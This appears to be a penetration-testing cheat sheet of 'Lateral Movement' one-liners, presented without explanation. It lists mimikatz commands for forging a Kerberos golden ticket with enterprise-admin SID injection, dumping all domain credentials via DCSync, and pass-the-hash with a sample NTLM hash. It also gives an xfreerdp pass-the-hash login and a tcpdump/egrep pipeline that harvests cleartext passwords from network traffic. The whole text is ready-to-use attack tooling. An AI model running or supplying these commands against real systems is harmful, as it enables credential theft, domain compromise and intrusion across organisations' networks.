Lateral Movement

One-liners

mimikatz.exe | kerberos::golden /user:$ /krbtgt: /domain: /sid:S-1-5-21- /sids:S-1-5-21--519 /ptt

lsadump::dcsync /domain:domain /all /csv

tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20

xfreerdp /v:<host> /u:user /pth:<hash> /drive:shared,/root/Desktop/folder

privilege::debug sekurlsa::pth /user:pth /ntlm:57f5f9f45e6783753407ae3a8b13b032 /domain:TEST /run:cmd.exe